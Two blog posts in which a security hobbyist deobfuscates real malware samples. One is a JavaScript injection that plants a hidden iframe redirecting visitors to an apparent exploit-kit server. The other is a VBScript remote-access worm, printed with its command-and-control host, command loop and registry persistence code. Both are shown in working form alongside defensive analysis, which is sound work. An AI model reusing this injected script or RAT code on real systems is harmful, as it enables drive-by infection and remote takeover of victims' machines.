Wednesday 18 September 2013

How not to Obfuscate your Javascript

Last week I came across some malicious obfuscated Javascript and thought I'd write about it as a contrast to the VBScript in my last post. In this post I'll deobfuscate the Javascript and dig into the script's functionality and redirects.


The Sample

The malicious script was first detected by a network monitoring device as "Trojan.JS.Iframe.afs". Submitting the URL of the infected site to Sucuri I got the following:




Looking at the results from Sucuri it appeared that a suspicious looking piece of javascript had been included on multiple pages:

<!--74ed9f--><script type="text/javascript" language="javascript" > kauo="fr"+"omCh"+"arCo"+"de";if(document.querySelector)zjyir=4;jxl=("68,ae,bd,b6,ab,bc,b1,b7,b6,68,bf,c0,78,81,70,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,bc,b1,ab,85,6f,a9,b2,a9,c0,6f,83,55,52,68,be,a9,ba,68,ab,b7,b6,bc,ba,b7,b4,b4,ad,ba,85,6f,b1,b6,ac,ad,c0,76,b8,b0,b8,6f,83,55,52,68,be,a9,ba,68,bf,c0,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,ba,ad,a9,bc,ad,8d,b4,ad,b5,ad,b6,bc,70,6f,b1,ae,ba,a9,b5,ad,6f,71,83,55,52,55,52,68,bf,c0,76,bb,ba,ab,68,85,68,6f,b0,bc,bc,b8,82,77,77,bf,bf,bf,76,b5,a9,ba,ab,bc,ba,b7,b6,76,ab,b7,b5,76,aa,ba,77,b2,bb,77,9a,7a,af,9f,b3,ae,c0,98,76,b8,b0,b8,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b8,b7,bb,b1,bc,b1,b7,b6,68,85,68,6f,a9,aa,bb,b7,b4,bd,bc,ad,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,ab,b7,b4,b7,ba,68,85,68,6f,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b0,ad,b1,af,b0,bc,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bf,b1,ac,bc,b0,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b4,ad,ae,bc,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bc,b7,b8,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,55,52,68,b1,ae,68,70,69,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,71,68,c3,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,bf,ba,b1,bc,ad,70,6f,84,b8,68,b1,ac,85,a4,6f,bf,c0,a4,6f,68,ab,b4,a9,bb,bb,85,a4,6f,bf,c0,78,81,a4,6f,68,86,84,77,b8,86,6f,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,76,a9,b8,b8,ad,b6,ac,8b,b0,b1,b4,ac,70,bf,c0,71,83,55,52,68,c5,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,74,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,74,b6,8c,a9,c1,bb,74,b8,a9,bc,b0,71,68,c3,55,52,68,be,a9,ba,68,bc,b7,ac,a9,c1,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,be,a9,ba,68,ad,c0,b8,b1,ba,ad,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,b1,ae,68,70,b6,8c,a9,c1,bb,85,85,b6,bd,b4,b4,68,c4,c4,68,b6,8c,a9,c1,bb,85,85,78,71,68,b6,8c,a9,c1,bb,85,79,83,55,52,68,ad,c0,b8,b1,ba,ad,76,bb,ad,bc,9c,b1,b5,ad,70,bc,b7,ac,a9,c1,76,af,ad,bc,9c,b1,b5,ad,70,71,68,73,68,7b,7e,78,78,78,78,78,72,7a,7c,72,b6,8c,a9,c1,bb,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,68,85,68,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,73,6a,85,6a,73,ad,bb,ab,a9,b8,ad,70,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,71,55,52,68,73,68,6a,83,ad,c0,b8,b1,ba,ad,bb,85,6a,68,73,68,ad,c0,b8,b1,ba,ad,76,bc,b7,8f,95,9c,9b,bc,ba,b1,b6,af,70,71,68,73,68,70,70,b8,a9,bc,b0,71,68,87,68,6a,83,68,b8,a9,bc,b0,85,6a,68,73,68,b8,a9,bc,b0,68,82,68,6a,6a,71,83,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,68,b6,a9,b5,ad,68,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,ba,bc,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,b6,a9,b5,ad,68,73,68,6a,85,6a,68,71,83,55,52,68,be,a9,ba,68,b4,ad,b6,68,85,68,bb,bc,a9,ba,bc,68,73,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,73,68,79,83,55,52,68,b1,ae,68,70,68,70,68,69,bb,bc,a9,ba,bc,68,71,68,6e,6e,55,52,68,70,68,b6,a9,b5,ad,68,69,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,78,74,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,71,68,71,68,71,55,52,68,c3,55,52,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,c5,55,52,68,b1,ae,68,70,68,bb,bc,a9,ba,bc,68,85,85,68,75,79,68,71,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,be,a9,ba,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,6a,83,6a,74,68,b4,ad,b6,68,71,83,55,52,68,b1,ae,68,70,68,ad,b6,ac,68,85,85,68,75,79,68,71,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b4,ad,b6,af,bc,b0,83,55,52,68,ba,ad,bc,bd,ba,b6,68,bd,b6,ad,bb,ab,a9,b8,ad,70,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,b4,ad,b6,74,68,ad,b6,ac,68,71,68,71,83,55,52,c5,55,52,b1,ae,68,70,b6,a9,be,b1,af,a9,bc,b7,ba,76,ab,b7,b7,b3,b1,ad,8d,b6,a9,aa,b4,ad,ac,71,55,52,c3,55,52,b1,ae,70,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,71,85,85,7d,7d,71,c3,c5,ad,b4,bb,ad,c3,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,74,68,6f,7d,7d,6f,74,68,6f,79,6f,74,68,6f,77,6f,71,83,55,52,55,52,bf,c0,78,81,70,71,83,55,52,c5,55,52,c5".split(","));alq=eval;function mup(){mynpb=function(){--(zujrdn.body)}()}zujrdn=document;for(ojth=0;ojth<jxl["length"];ojth+=1){jxl[ojth]=-(72)+parseInt(jxl[ojth],zjyir*4);}try{mup()}catch(mil){qedems=50-50;}if(!qedems)alq(String[kauo].apply(String,jxl));</script><!--/74ed9f-->

Just like in my last post where I subverted the code execution to output the code to file, we can do the same here by replacing an eval statement with a document.write and output the plain text script to a textarea. Where's the eval? Notice the line with "alg=eval", alg is used to eval the final line. I just replaced alg with document.write and included textarea html:

document.write("<textarea>" +  String[kauo].apply(String,jxl)+"</textarea>");

Running the patched code you get the unobfuscated script:

 function wx09() {
 var static='ajax';
 var controller='index.php';
 var wx = document.createElement('iframe');

 wx.src = 'http://www.marctron.com.br/js/R2gWkfxP.php';
 wx.style.position = 'absolute';
 wx.style.color = '2828';
 wx.style.height = '2828px';
 wx.style.width = '2828px';
 wx.style.left = '10002828';
 wx.style.top = '10002828';

 if (!document.getElementById('wx')) {
 document.write('<p id=\'wx\' class=\'wx09\' ></p>');
 document.getElementById('wx').appendChild(wx);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

wx09();
}
}

I was a little disappointed de-obfuscation was so easy :) So this code will check if you have a specific cookie set, if not it will set it and then it'll create an iframe that redirects to the attackers page. Why check/create a cookie? It seems the bad guys only want you to get redirected/infected if this is the first time you've visited the site.


Redirects Redirects

I was curious what would happen next so decided to take a wander down the malware rabbit hole. To start with I scanned the iframe destination page:

http://sitecheck.sucuri.net/results/www.marctron.com.br/js/r2gwkfxp.php



A clean malware page didn't make sense so to get more detail I tried to grab a copy of the page using Curl: 



The server responds but it doesn't give us any real data or redirects. Lets try including a user-agent.



Interesting, this time we get a redirection (see Location header). It looks like the bad guys only want to redirect legitimate looking browsers, potentially stopping automated scanners or people like me using Curl :)

Following the redirection the next page we come to just redirects to about:blank.


Hmmm so a dead end? Not quite yet. The day before I took the screenshots I used curl and actually received a different domain...On the 14th I was redirected to bonne-isolation.be and on the 15th to boordstenen-beton.be. Switching domains to avoid detection eh?


Both domains have similar names suggesting some kind of automatic domain name generation and both resolve to the same ip address 95.156.228.69. Googling the ip we find out this is a known bad address:

https://isc.sans.edu/diary/37.58.73.42++95.156.228.69++195.210.43.42,+anyone%3F/16559

VirusTotal and urlquery have some hits:

https://www.virustotal.com/en/ip-address/95.156.228.69/information/

http://urlquery.net/search.php?q=95.156.228.69&type=string&start=2013-08-28&end=2013-09-12&max=200

On urlquery.net we also find some traffic that matches a Suricata Emerging Threat signature:


Our bad guys appear to be using the Blackhole exploit kit. I'm not sure why we were redirected to about:blank and not the latest java exploit. Perhaps they are only targeting specific browsers/countries or perhaps they only distribute malware to every tenth connection to avoid detection, who knows. (If anyone has any ideas leave me a comment below!)



Wrapping Up

I always find it interesting to pick apart the techniques used by the bad guys to distribute malware. The multiple layers of obfuscation, redirection and verification all work as a clever way to slow down analysis for the good guys and keep the bad guys in business for longer.

We saw how:
  • A compromised site (taalvilla.com) was redirecting users to a malicious site using an embedded iframe.
  • Secondary redirection, that required a browser user-agent, was used to add a layer of obscurity and protection for the final destination.
  • Multiple domains were being used to prevent detection and mitigation.
  • The target was a malicious server (95.156.228.69) with a history of Blackhole activity.   

For a post about Javascript obfuscation I'm sorry it contained so little Javascript deobfuscation (blame the malware authors for making it too easy!). I may have another more in depth post coming in the future though :)

Hope you guys have found this interesting/useful, comments/corrections always appreciated.

Pwndizzle out.

Saturday 7 September 2013

How not to Obfuscate your VBScript

I recently came across a malware sample that reminded me of a capture the flag style challenge. There were multiple layers of encoding but each was relatively simple to reverse. In this post I'll provide a quick analysis.

(Just in case you're wondering, this sample was detected by a custom HIPS rule looking for suspicious registry modifications. Would definitely recommend deploying custom HIPS rules if you haven't already!)


The Sample

The malware was created using VBScript and saved as a .vbe file. It did a great job of evading AV with a score of only 4/46 on VirusTotal, props to CAT-QuickHeal/Avast/Kaspersky/TrendMicro for detecting it!



I assumed I would be able to just open the file and I'd see the malicious script. Well it wasn't quite that simple...Opening the .vbe all I got was a huge mass of characters:



After a quick Google I found out, VBE stands for VBScript Encoded, (ahhha moment!) and I needed some way to decode the file. Luckily there was a great blog post with sample script here:


Running the decode script against the encoded vbe we get some clear-text vbs.




Hmmm another chunk of encoded text. It does appear to be sent to a function called deCrypt though and looking down the script we come to the actual deCrypt function.


The decrypt function calls decodeBase64 which coverts our data from Base64 to ASCII. Also note that the decrypt routine is ran twice (once in each screenshot) before finally being executed. Now we could write a decode script or we could just use an online converter (http://www.hcidata.info/base64.htm):

Decoding Once (Still garbled...)



Decoding Twice (Woohoo code!)


So we have a variable....but also more encoded text. Scrolling down we come to the decryption routine:


Decryption removes the |dz| padding then for each item in the array concatenates to the previous item the ascii character for that character code. And then executes the final string. To get the plain text script I just patched the existing script to output to file instead of execute.


And finally we get to the actual VBScript:

'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "zoia.no-ip.org"
port = 446
installdir = "%appdata%"
lnkfile = true
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"

(Continued below...)

Straight away you notice the author has proudly placed his name and Skype at the top of the script (queue Krebs style investigation!) Next there's the callback domain, where he's using the dynamic DNS service no-ip.org.

When run the script will repeatedly connect to the C&C and attempts to receive commands.

while true

install

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit 
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)   
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param)  
case  "delete"
      param = cmd (1)
      deletefaf (param) 
case  "exit-process"
      param = cmd (1)
      exitprocess (param) 
case  "sleep"
      param = cmd (1)
      sleep = eval (param)        
end select

wscript.sleep sleep

wend

Looking at the install routine we can see the script will create run keys and a copy of itself in the startup folder to maintain persistence.

sub upstart ()
on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub

The script contains multiple functions the C&C owner can call upon. For example to install/uninstall, download/upload files, enumerate/kill processes, run arbitrary commands and spread using lnk files. As I had an infected machine I modified the original script to create a cleaner script that would call the uninstall function.

The malware appears to be quite recent as Googling the plain text script I could see only one post about it. The below link also has a copy of the whole script:

http://social.technet.microsoft.com/Forums/en-US/f80f10c6-ae6c-4f63-96ec-9d49d582764a/virus-acceso-directo-en-discos-extraibles


Final Thoughts

Manual binary analysis can be tricky so I normally let Cuckoo (http://www.cuckoosandbox.org/) do all the hard work but until Cuckoo supports VBScript manual analysis seems to be the only option.

While the malicious script had some great functionality I was surprised how badly it had been obfuscated. In the web app world Javascript obfuscators can be a nightmare, renaming variables, breaking everything up into a million different concatenations and dummy functions. All this script had was a basic encoding routine and some Base64 conversion. Lazy script kiddie maybe?

Hope you guys found this useful.

Pdizzle out.